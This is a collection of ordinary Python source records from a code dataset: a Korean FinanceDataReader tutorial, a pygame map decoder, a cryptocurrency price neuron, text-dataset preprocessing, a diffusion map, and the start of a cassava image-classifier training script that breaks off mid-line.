"line_number": 171, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 177, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 177, "usage_type": "attribute"}, {"api_name": "tensorflow.random_uniform", "line_number": 178, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 178, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.image.rotate", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 179, "usage_type": "attribute"}, {"api_name": "includes.dataset_helper.file_cut_extension", "line_number": 193, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 193, "usage_type": "name"}, {"api_name": "includes.dataset_helper.file_cut_extension", "line_number": 195, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 195, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 200, "usage_type": "call"}, {"api_name": "includes.dataset_helper.write_meta", "line_number": 203, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 203, "usage_type": "name"}, {"api_name": "includes.dataset_helper.write_meta", "line_number": 208, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 208, "usage_type": "name"}, {"api_name": "includes.dataset_helper.one_hot_to_dense", "line_number": 216, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 216, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 225, "usage_type": "call"}, {"api_name": "includes.dataset_helper.extract_file_name_cut_extension", "line_number": 228, "usage_type": "call"}, {"api_name": "includes.dataset_helper", "line_number": 228, "usage_type": "name"}, {"api_name": "includes.dataset_helper.file_cut_extension", "line_number": 228, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 233, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 233, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 234, "usage_type": "call"}, {"api_name": "os.path", "line_number": 234, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 240, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 244, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 248, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 252, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 256, "usage_type": "name"}, {"api_name": "tensorflow.summary.merge_all", "line_number": 264, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 264, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 265, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 265, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 266, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 266, "usage_type": "attribute"}]}
{"seq_id": "74915829989", "text": "\n# coding: utf-8\n\n# # FinanceDataReader 사용자 안내서\n#\n# \n#\n# 한국 주식 가격, 미국주식 가격, 지수, 환율, 암호화폐 가격, 종목 리스팅 등 금융 데이터 수집 라이브러리\n#\n# \n# ### 2018 FinanceData.KR\n\n# In[9]:\n\n\n#  차트 설정\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport matplotlib.pyplot as plt\n\nplt.rcParams[\"font.family\"] = 'nanummyeongjo'\nplt.rcParams[\"figure.figsize\"] = (14,4)\nplt.rcParams['lines.linewidth'] = 2\nplt.rcParams[\"axes.grid\"] = True\n\n\n# # 개요\n#\n# 금융 데이터를 다루는데 가장 기본이 되는 데이터는 거래소별 전체 종목 코드와 가격 데이터 이다.\n#\n# [pandas-datareader](https://pandas-datareader.readthedocs.io) 는 잘 구성된 시계열 데이터 수집 라이브러리로 사용이 간편하고 다양한 시계열 데이터를 수집할 수 있다는 장점이 있다.  (현재 버전 : pandas_datareader 0.6.0) 하지만, 거래소별(KRX, NASDAQ, NYSE 등) 전체 종목 코드(ticker symbol)를 가져오는 기능이 없으며, 야후 파이낸스가 더 이상지원되지 않고(deprecated), 구글 파이낸스는 UNSTABLE_WARNING + RemoteDataError 를 낸다.\n#\n# FinanceDataReader는 [pandas-datareader](https://pandas-datareader.readthedocs.io) 를 대체하기 보다 보완하기 위한 목적으로 만들어졌다. 주요한 기능은 다음과 같다.\n#\n# ### 종목 코드\n# * 거래소별 전체 종목코드: KRX (KOSPI, KODAQ, KONEX), NASDAQ, NYSE, AMEX, S&P 500\n#\n# ### 가격 데이터\n# * 해외주식 가격 데이터: AAPL(애플), AMZN(아마존), GOOG(구글) 등\n# * 국내주식 가격 데이터: 005930(삼성전자), 091990(셀트리온헬스케어) 등\n# * 각종 지수: KS11(코스피지수), KQ11(코스닥지수), DJI(다우지수), IXIC(나스닥 지수), US500(S&P 5000)\n# * 환율 데이터: USD/KRX (원달러 환율), USD/EUR(달러당 유로화 환율), CNY/KRW: 위엔화 원화 환율\n# * 암호화폐 가격: BTC/USD (비트코인 달러 가격, Bitfinex), BTC/KRW (비트코인 원화 가격, 빗썸)\n#\n\n# # 설치\n#\n# ```bash\n# pip install -U finance_datareader\n# ```\n\n# # 사용\n\n# In[2]:\n\n\nimport FinanceDataReader as fdr\nfdr.__version__\n\n\n# # 전체 종목 코드\n# 종목 데이터 전체를 얻기 위해 사용할 수 있는 거래소 심볼은 다음과 같다\n#\n# ### 한국\n#\n# 심볼 | 거래소\n# --------|---------\n# KRX | KRX 종목 전체\n# KOSPI | KOSPI 종목\n# KOSDAQ  | KOSDAQ 종목\n# KONEX  | KONEX 종목\n#\n#\n# ### 미국\n# 심볼 | 거래소 |\n# --------|---------\n# NASDAQ | 나스닥 종목\n# NYSE  |뉴욕 증권거래소 종목\n# AMEX  | AMEX 종목\n# SP500 | S&P 500 종목\n#\n#\n# ※ KRX는 KOSPI,KOSDAQ,KONEX 모두 포함\n\n# In[3]:\n\n\nimport FinanceDataReader as fdr\n\n# 한국거래소 상장종목 전체\ndf_krx = fdr.StockListing('KRX')\ndf_krx.head()\n\n\n# In[4]:\n\n\nlen(df_krx)\n\n\n# In[5]:\n\n\nimport FinanceDataReader as fdr\n\n# S&P 500 종목 전체\ndf_spx = fdr.StockListing('S&P500')\ndf_spx.head()\n\n\n# In[6]:\n\n\nlen(df_spx)\n\n\n# # 가격 데이터 - 국내주식\n# 단축 코드(6자리)를 사용.\n#\n# * 코스피 종목: 068270(셀트리온), 005380(현대차)  등\n# * 코스닥 종목: 215600(신라젠), 151910(나노스) 등\n\n# In[7]:\n\n\nimport FinanceDataReader as fdr\n\n# 신라젠, 2018년\ndf = fdr.DataReader('215600', '2018-01-01')\ndf.head(10)\n\n\n# In[10]:\n\n\nimport FinanceDataReader as fdr\n\n# 셀트리온, 2017년~현재\ndf = fdr.DataReader('068270', '2017-01-01')\ndf['Close'].plot()\n\n\n# # 가격 데이터 - 미국 주식\n# 티커를 사용. 예를 들어, 'AAPL'(애플), 'AMZN'(아마존), 'GOOG'(구글)\n\n# In[11]:\n\n\nimport FinanceDataReader as fdr\n\n# 애플(AAPL), 2018-01-01 ~ 2018-03-30\ndf = fdr.DataReader('AAPL', '2018-01-01', '2018-03-30')\ndf.tail()\n\n\n# In[12]:\n\n\nimport FinanceDataReader as fdr\n\n# 애플(AAPL), 2017년\ndf = fdr.DataReader('AAPL', '2017')\ndf['Close'].plot()\n\n\n# In[13]:\n\n\nimport FinanceDataReader as fdr\n\n# 아마존(AMZN), 2010~현재\ndf = fdr.DataReader('AMZN', '2010')\ndf['Close'].plot()\n\n\n# # 한국 지수\n# 심볼 | 설명\n# ---------- | ---------------\n# KS11 | KOSPI 지수\n# KQ11 | KOSDAQ 지수\n# KS50 | KOSPI 50 지수\n# KS100 | KOSPI 100 지수\n# KS200 | KOSPI 200 지수\n# KRX100 | KRX 100\n#\n\n# # 미국 지수\n# 심볼 | 설명\n# ---------- | ---------------\n# DJI | 다우존스 지수\n# IXIC | 나스닥 지수\n# US500 | S&P 500 지수\n# VIX | S&P 500 VIX\n#\n# ※ DJI, IXIC, US500 가 미국 3대 지수\n\n# # 국가별 주요 지수\n# 심볼 | 설명\n# ---------- | ---------------\n# JP225 | 닛케이 225 선물\n# STOXX50 | 유렵 STOXX 50\n# HSI | 항셍 (홍콩)\n# CSI300 | CSI 300 (중국)\n# SSEC |  상해 종합\n# UK100 | 영국 FTSE\n# DE30 | 독일 DAX 30\n# FCHI | 프랑스 CAC 40\n\n# In[14]:\n\n\nimport FinanceDataReader as fdr\n\n# KS11 (KOSPI 지수), 2015년~현재\ndf = fdr.DataReader('KS11', '2015')\ndf['Close'].plot()\n\n\n# In[15]:\n\n\n# 다우지수, 2015년~현재\n\ndf = fdr.DataReader('DJI', '2015')\ndf['Close'].plot()\n\n\n# In[16]:\n\n\n# DAX, 2015년~현재\n\ndf = fdr.DataReader('DE30', '2015')\ndf['Close'].plot()\n\n\n# # 환율\n#\n# 심볼 | 설명\n# ---------- | ---------------\n# USD/KRW | 달러당 원화 환율\n# USD/EUR | 달러당 유로화 환율\n# USD/JPY | 달러당 엔화 환율\n# CNY/KRW | 위엔화 원화 환율\n# EUR/USD\t| 유로화 달러 환율\n# USD/JPY | 달러 엔화 환율\n# JPY/KRW\t| 엔화 원화 환율\n# AUD/USD\t| 오스트레일리아 달러 환율\n# EUR/JPY\t| 유로화 엔화 환율\n# USD/RUB\t| 달러 루블화\n\n# In[17]:\n\n\nimport FinanceDataReader as fdr\n\n# 원달러 환율, 1995년~현재\ndf = fdr.DataReader('USD/KRW', '1995')\ndf['Close'].plot()\n\n\n# In[18]:\n\n\n# 위엔화 환율, 1995년~현재\n\ndf = fdr.DataReader('CNY/KRW', '1995')\ndf['Close'].plot()\n\n\n# # 상품선물\n#\n# 심볼 | 설명\n# ---------- | ---------------\n# NG | 천연가스 선물 (NYMEX)\n# GC | 금 선물 (COMEX)\n# SI | 은 선물 (COMEX)\n# HG | 구리 선물 (COMEX)\n# CL  | WTI유 선물 (NYMEX)\n\n# In[19]:\n\n\nimport FinanceDataReader as fdr\n\n# 천연가스 선물 (NYMEX)\ndf = fdr.DataReader('NG', '2018')\ndf.tail()\n\n\n# In[20]:\n\n\nimport FinanceDataReader as fdr\n\n# WTI유 선물 (NYMEX)\ndf = fdr.DataReader('CL', '2018')\ndf.tail()\n\n\n# # 채권\n# ### 한국\n# * 'KR\\[년도\\]YT=RR' 형식으로 조합 (가능 년도=1,2,3,4,5,10,20,30,50)\n#\n# 심볼 | 설명\n# ---------- | ---------------\n# KR1YT=RR | 1년만기 한국 국채 수익률\n# KR3YT=RR | 1년만기 한국 국채 수익률\n# KR5YT=RR | 5년만기 한국 국채 수익률\n# KR10YT=RR | 10년만기 한국 국채 수익률\n#\n# ### 미국\n# * 'US\\[개월\\]MT=RR' 형식으로 조합 (가능 개월=1,3,6)\n# * 'US\\[년도\\]YT=RR' 형식으로 조합 (가능 년도=1,2,3,4,5,7,10,30)\n#\n# 심볼 | 설명\n# ---------- | ---------------\n# US1MT=X | 1개월 미국 국채 수익률\n# US6MT=X | 6개월 미국 국채 수익률\n# US1YT=X | 1년만기 미국 국채 수익률\n# US5YT=X | 5년만기 미국 국채 수익률\n# US10YT=X | 10년만기 미국 국채 수익률\n# US30YT=X | 30년만기 미국 국채 수익률\n#\n#\n\n# In[21]:\n\n\nimport FinanceDataReader as fdr\n\n# 10년만기 미국채 수익률\ndf = fdr.DataReader('US10YT=X', '2018')\ndf.tail()\n\n\n# #  암호화폐 가격 (KRW)\n# 암호 화폐 원화 가격 (빗썸)\n#\n# 심볼 | 설명\n# ---------- | ---------------\n# BTC/KRW | 비트코인 원화 가격\n# ETH/KRW | 이더리움 원화 가격\n# XRP/KRW | 리플 원화 가격\n# BCH/KRW | 비트코인 캐시 원화 가격\n# EOS/KRW | 이오스 원화 가격\n# LTC/KRW |  라이트 코인 원화 가격\n# XLM/KRW | 스텔라 원화 가격\n\n# #  암호화폐 가격 (UDS)\n# 암호 화폐 달러화 가격 (Bitfinex)\n#\n# 심볼 | 설명\n# ---------- | ---------------\n# BTC/USD | 비트코인 달러 가격\n# ETH/USD | 이더리움 달러 가격\n# XRP/USD | 리플 달러 가격\n# BCH/USD | 비트코인 캐시 달러 가격\n# EOS/USD | 이오스 달러 가격\n# LTC/USD |  라이트 코인 달러 가격\n# XLM/USD | 스텔라 달러 가격\n\n# In[22]:\n\n\nimport FinanceDataReader as fdr\n\n# 비트코인 원화 가격 (빗썸), 2016년~현재\ndf = fdr.DataReader('BTC/KRW', '2016')\ndf['Close'].plot()\n\n\n# In[24]:\n\n\nimport FinanceDataReader as fdr\n\n# 비트코인 USD 가격\ndf = fdr.DataReader('BTC/USD', '2016')\ndf['Close'].plot()\n\n\n# ### 2018 https://fb.com/financedata", "repo_name": "c-choi/Python", "sub_path": "빅데이터 수집 강의/Finance/FinanceDataReader_Data.py", "file_name": "FinanceDataReader_Data.py", "file_ext": "py", "file_size_in_byte": 8351, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 20, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 21, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 22, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 23, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "FinanceDataReader.__version__", "line_number": 57, "usage_type": "attribute"}, {"api_name": "FinanceDataReader.StockListing", "line_number": 90, "usage_type": "call"}, {"api_name": "FinanceDataReader.StockListing", "line_number": 106, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 128, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 138, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 151, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 161, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 171, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 214, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 223, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 232, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 257, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 266, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 286, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 296, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 332, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 368, "usage_type": "call"}, {"api_name": "FinanceDataReader.DataReader", "line_number": 378, "usage_type": "call"}]}
{"seq_id": "13270516933", "text": "import pygame\nfrom gameobject import BaseMapObject\n\nimport json\n\nclass JsonMapDecoder:\n\n    def __init__(self) -> None:\n        self.ground = BaseMapObject((50, 50))\n\n        self.object_mapping = {\n            \"ground\" : BaseMapObject((50, 50))\n        }\n\n        self.mapdata = None\n\n        self.decode(f\"{__file__}/mapdata/level1.json\")\n\n    def decode(self, file: str):\n        with open(file, \"r\") as map_file:\n            self.mapdata = json.load(map_file)\n\n    def render(self, game):\n        for data in self.mapdata[\"mapdata\"]:\n            new_terrian = BaseMapObject((data[\"x\"], data[\"y\"]))\n            game.terrian_group.add(new_terrian)", "repo_name": "simanglam/map_editor", "sub_path": "decoder.py", "file_name": "decoder.py", "file_ext": "py", "file_size_in_byte": 649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gameobject.BaseMapObject", "line_number": 9, "usage_type": "call"}, {"api_name": "gameobject.BaseMapObject", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 21, "usage_type": "call"}, {"api_name": "gameobject.BaseMapObject", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "40495942558", "text": "import logging\nimport requests, json\n\nfrom kalliope.core.NeuronModule import (NeuronModule,\n                                        MissingParameterException,\n                                        InvalidParameterException)\n\nlogging.basicConfig()\nlogger = logging.getLogger(\"kalliope\")\n\nclass Cryptocurrency(NeuronModule):\n    \"\"\"\n    Class used to interact with diagral alarm system\n    \"\"\"\n    def __init__(self, **kwargs):\n\n        super(Cryptocurrency, self).__init__(**kwargs)\n\n        # parameters\n        self.currency = kwargs.get('currency', None)\n        self.target = kwargs.get('target', None)\n\n        logger.debug(\"CryptoCurrency launch for currency %s\", self.currency)\n\n        # check parameters\n        if self._is_parameters_ok():\n            result = dict( )\n\n            payload = {'fsym': self.currency, 'tsyms': self.target}\n            logger.debug(payload)\n            response = requests.get('https://min-api.cryptocompare.com/data/price', params=payload)\n\n            content = response.json()\n            result[self.currency] = dict()\n            result[self.currency][self.target] = content[self.target]\n\n            logger.debug(result)\n            self.say(result)\n\n\n    def _is_parameters_ok(self):\n        \"\"\"\n        Check if received parameters are ok to perform operations in the neuron.\n        :return: True if parameters are ok, raise an exception otherwise.\n\n        .. raises:: MissingParameterException, InvalidParameterException\n        \"\"\"\n        if self.currency is None:\n            raise MissingParameterException(\"CryptoCurrency needs an currency\")\n        if self.target is None:\n            raise MissingParameterException(\"CryptoCurrency needs a target currency\")\n        return True\n\n", "repo_name": "royto/kalliope_neuron_cryptocurrency", "sub_path": "cryptocurrency.py", "file_name": "cryptocurrency.py", "file_ext": "py", "file_size_in_byte": 1739, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "kalliope.core.NeuronModule.NeuronModule", "line_number": 11, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 31, "usage_type": "call"}, {"api_name": "kalliope.core.NeuronModule.MissingParameterException", "line_number": 49, "usage_type": "call"}, {"api_name": "kalliope.core.NeuronModule.MissingParameterException", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "18696607583", "text": "import random as rd\nimport csv\nimport argparse\n\n\nrd.seed(2020)\n\n\ndef read_txt(filename):\n    dataset = []\n    with open(filename, 'r', encoding=\"utf-8\", newline='') as f:\n        for line in f.readlines():\n            label = line[0]\n            doc = line[1:].strip()\n\n            dataset.append((label, doc))\n\n        print(\"Number of data in {} : {} \".format(filename, len(dataset)))\n    return dataset\n\n\ndef save_csv(filename, dataset):\n    with open(filename, 'w', encoding=\"utf-8\", newline='') as f:\n        wr = csv.writer(f)\n        for data in dataset:\n            wr.writerow(data)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--task', default='sst2', help='sst2 or sst5')\n    args = parser.parse_args()\n\n    if args.task.lower() == 'sst2':\n        TRAIN_PATH = \"data_in/sst2/stsa_binary_train.txt\"\n        DEV_PATH = \"data_in/sst2/stsa_binary_dev.txt\"\n        TEST_PATH = \"data_in/sst2/stsa_binary_test.txt\"\n\n    elif args.task.lower() == 'sst5':\n        TRAIN_PATH = \"data_in/sst5/stsa_fine_train.txt\"\n        DEV_PATH = \"data_in/sst5/stsa_fine_dev.txt\"\n        TEST_PATH = \"data_in/sst5/stsa_fine_test.txt\"\n\n    else:\n        raise Exception(\"task : sst2 or sst5\")\n\n\n    TRAIN_SAVE_PATH = \"data_in/train.csv\"\n    DEV_SAVE_PATH = \"data_in/dev.csv\"\n    TEST_SAVE_PATH = \"data_in/test.csv\"\n\n    train = read_txt(TRAIN_PATH)\n    dev = read_txt(DEV_PATH)\n    test = read_txt(TEST_PATH)\n\n    save_csv(TRAIN_SAVE_PATH, train)\n    save_csv(DEV_SAVE_PATH, dev)\n    save_csv(TEST_SAVE_PATH, test)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "toriving/text-classification-transformers", "sub_path": "utils/sst_preprocess.py", "file_name": "sst_preprocess.py", "file_ext": "py", "file_size_in_byte": 1573, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.seed", "line_number": 6, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 24, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "37645134269", "text": "from math import log\nfrom typing import List\n\nFILE_PATH = '/path/to/p099_base_exp.txt'\n\n\ndef parse_file() -> List:\n    with open(file_path) as f:\n        lines = f.readlines()\n\n    nums_as_str = [line.strip('\\n').split(',') for line in lines]\n    return [(int(a), int(b)) for a, b in [line for line in nums_as_str]]\n\n\ndef main():\n    pairs = parse_file()\n\n    log_transform = [b * log(a) for a, b in pairs]\n    maximum_value = max(enumerate(log_transform), key=lambda x: x[1])\n\n    # Lines are 1-indexed\n    max_line = maximum_value[0] + 1\n    print(max_line)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "stevenschmatz/project-euler", "sub_path": "problem-099.py", "file_name": "problem-099.py", "file_ext": "py", "file_size_in_byte": 600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "math.log", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "21610235351", "text": "### Diffusion Map Wrapper/Diffuse Function -- Python Implementation ###\n\nimport numpy as np\nfrom scipy.sparse import csc_matrix\nfrom scipy.sparse.linalg import eigsh\n\n# Class to format the output of the diffuse function for the diffusion map\n\nclass Dmap(object):\n    def __init__(self, X, phi0, eigenvals, eigenmult, \n                 psi, phi, neigen, epsilon):\n        self.X = X\n        self.phi0 = phi0\n        self.eigenvals = eigenvals\n        self.eigenmult = eigenmult\n        self.psi = psi\n        self.phi = phi\n        self.neigen = neigen\n        self.epsilon = epsilon\n\n# D - input distance matrix (represented as a 2D-list)\n# neigen - the number of diffusion coordinates to return\n# eps - a tuning parameter\n# delta - a filtering parameter for creating a sparse matrix (Asp)\ndef diffuse(D,neigen,eps,delta=10^-10):\n    n = D.shape[0]\n    K = np.exp(-1 * (D**2) / eps)\n    ## next two lines added to match Jaehyeok's DataLinker code\n    v = K.sum(axis=1)\n    K = K/np.outer(v,v.T)\n    ##\n    v = K.sum(axis=1)**0.5\n    A = K / np.outer(v, v.T)\n\n    ind = np.array([[row,col] \n        for col in range(len(A)) \n            for row in range(len(A[0]))\n                if A[row][col] > delta\n    ])\n    row = ind[..., 0]\n    col = ind[..., 1]\n    data = A[row, col]\n    Asp = csc_matrix((data, (row, col)), shape=(n, n)).toarray()\n\n    neff = min(neigen+1,n)\n    eigenvals, eigenvecs = eigsh(Asp, k=neff, which=\"LA\", ncv=n)\n    # Python eigsh sorts eigenvalues in order of increasing value, \n    # whereas R arpack sorts them in order of decreasing value.\n    # This line will correct for this\n    (eigenvals, eigenvecs) = (eigenvals[::-1], eigenvecs[..., ::-1])\n\n    psi = eigenvecs / (eigenvecs[..., 0:1].dot(np.ones((1, neff))))\n    phi = eigenvecs * (eigenvecs[..., 0:1].dot(np.ones((1, neff))))\n\n    lam = eigenvals[1:] / (1 - eigenvals[1:])\n    lam = np.outer(np.array([1]*n), lam.T)\n    X = psi[..., 1:neigen+1] * lam[..., 0:neigen]\n\n    y = Dmap(X=X, phi0=phi[...,0], eigenvals=eigenvals[1:],\n             eigenmult=lam[0, 0:neigen], psi=psi, phi=phi,\n             neigen=neigen, epsilon=eps)\n    return y\n\n\n## csvPath - path to get to csv data file *from the directory this file is in*\n## k - number of nearest neighbors to use in computation\n#\n#def diffusionMap(csvPath, k, neigen, eps=1):\n#\n#\t# Read in and format data\n#\tstatistics = np.array(readFile(csvPath))\n#\tstatScale = preprocessing.scale(statistics)\n#\tD = squareform(pdist(statScale))\n#\n#\tnrow = D.shape[0]\n#\tsigma = np.array([0.0]*nrow)\n#\tfor i in range(nrow):\n#\t\tj = np.argsort(D[..., i])[k + 1]\n#\t\tsigma[i] = pdist(np.array([statScale[i,...], statScale[j,...]]))\n#\n#\tS = np.outer(np.array(1 / (sigma**0.5)), np.array(1 / (sigma**0.5)))\n#\tD = D * S\n#\tdmap = diffuse(D, neigen, eps)", "repo_name": "pefreeman/ltst", "sub_path": "Python/diffusionMap.py", "file_name": "diffusionMap.py", "file_ext": "py", "file_size_in_byte": 2763, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.exp", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.sparse.csc_matrix", "line_number": 43, "usage_type": "call"}, {"api_name": "scipy.sparse.linalg.eigsh", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "70343808230", "text": "import cv2\r\nimport math\r\nimport pandas as pd\r\nimport gc\r\n\r\nimport torch\r\nfrom sklearn.utils import shuffle\r\nfrom albumentations import Compose, Resize, Transpose, HorizontalFlip, \\\r\n                        VerticalFlip, ShiftScaleRotate, HueSaturationValue, \\\r\n                        RandomBrightnessContrast, Normalize, \\\r\n                        CoarseDropout, Cutout\r\n\r\nfrom albumentations.pytorch.transforms import ToTensorV2\r\n\r\nfrom config import path_params, optimizer_params, training_params, model_params, loss_params\r\n\r\nfrom loss import LOSSES\r\nfrom optimizer import OPTIM\r\n\r\nfrom net.nets import EfficientNetB3DSPlus\r\nfrom net.ema import ModelEMA\r\n# from net.utils import count_parameters\r\n\r\nfrom dataloader.data import CassaDataset\r\n\r\nfrom engine.engines_fp16 import trainer_augment\r\n\r\ndf = pd.read_csv(path_params['csv_path'])\r\n\r\nfor fold in [1, 2, 3, 4, 5]:\r\n    \"\"\"StratifiedKFold\"\"\"\r\n    print(\"=\"*20, \"Fold\", fold, \"=\"*20)\r\n    train_df = df[df[\"fold\"] != fold].reset_index(drop=True)\r\n    train_df = shuffle(train_df, random_state = 2020)\r\n    eval_df = df[df[\"fold\"] == fold].reset_index(drop=True)\r\n    eval_df = shuffle(eval_df, random_state = 2020)\r\n    \"\"\"===============\"\"\"\r\n    \r\n    train_transform = Compose([\r\n            # RandomResizedCrop(model_params['img_size'][0], model_params['img_size'][1], interpolation = cv2.INTER_CUBIC),\r\n            Resize(model_params['img_size'][0], model_params['img_size'][1], cv2.INTER_AREA),\r\n            Transpose(p=0.5),\r\n            HorizontalFlip(p=0.5),\r\n            VerticalFlip(p=0.5),\r\n            ShiftScaleRotate(p=0.5),\r\n            HueSaturationValue(hue_shift_limit=0.2, sat_shift_limit=0.2, val_shift_limit=0.2, p=0.5),\r\n            RandomBrightnessContrast(brightness_limit=(-0.1,0.1), contrast_limit=(-0.1, 0.1), p=0.5),\r\n            Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225], max_pixel_value=255.0, p=1.0),\r\n            CoarseDropout(p=0.5),\r\n            Cutout(p=0.5),\r\n            ToTensorV2(p=1.0),\r\n        ], p=1.)\r\n\r\n    train_loader = torch.utils.data.DataLoader(\r\n        CassaDataset(\r\n            df=train_df,\r\n            image_folder=path_params['img_path'],\r\n            image_transform=train_transform,\r\n        ), \r\n        batch_size=training_params['training_batch_size'], \r\n        num_workers=training_params['num_workers'],\r\n        shuffle=True\r\n    )\r\n\r\n    eval_transform = Compose([\r\n        # CenterCrop(600, 600),\r\n        Resize(model_params['img_size'][0], model_params['img_size'][1], cv2.INTER_AREA),\r\n        Transpose(p=0.5),\r\n        HorizontalFlip(p=0.5),\r\n        VerticalFlip(p=0.5),\r\n        ShiftScaleRotate(p=0.5),\r\n        HueSaturationValue(hue_shift_limit=0.2, sat_shift_limit=0.2, val_shift_limit=0.2, p=0.5),\r\n        RandomBrightnessContrast(brightness_limit=(-0.1,0.1), contrast_limit=(-0.1, 0.1), p=0.5),\r\n        Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225], max_pixel_value=255.0, p=1.0),\r\n        ToTensorV2(p=1.0),\r\n    ])\r\n    eval_loader = torch.utils.data.DataLoader(\r\n        CassaDataset(\r\n            df=eval_df,\r\n            image_folder=path_params['img_path'], \r\n            image_transform=eval_transform,\r\n        ), \r\n        batch_size=training_params['training_batch_size']*2, \r\n        num_workers=training_params['num_workers']\r\n    )\r\n\r\n    loaders = {\r\n        \"train\": train_loader,\r\n        \"eval\": eval_loader,\r\n    }\r\n    model = EfficientNetB3DSPlus(model_params).to(training_params['device'])\r\n    # ct = 0\r\n    # for name, param in model.named_parameters():\r\n    #     if param.requires_grad:\r\n    #         ct +=1 \r\n    # print(ct)\r\n\r\n    if model_params['EMA']:\r\n        model_params['ema_model'] = ModelEMA(model)\r\n\r\n    criterion = LOSSES[loss_params['name']](**loss_params['kwargs'])\r\n    val_criterion = LOSSES[loss_params['name']](**loss_params['val_kwargs'])\r\n\r\n    optimizer = OPTIM[optimizer_params['name']](model.parameters(), **optimizer_params['kwargs'])\r\n\r\n    lf = lambda x: ((1 + math.cos(x * math.pi / training_params['num_epoch'])) / 2) * (1 - optimizer_params['lrf']) + optimizer_params['lrf']  # 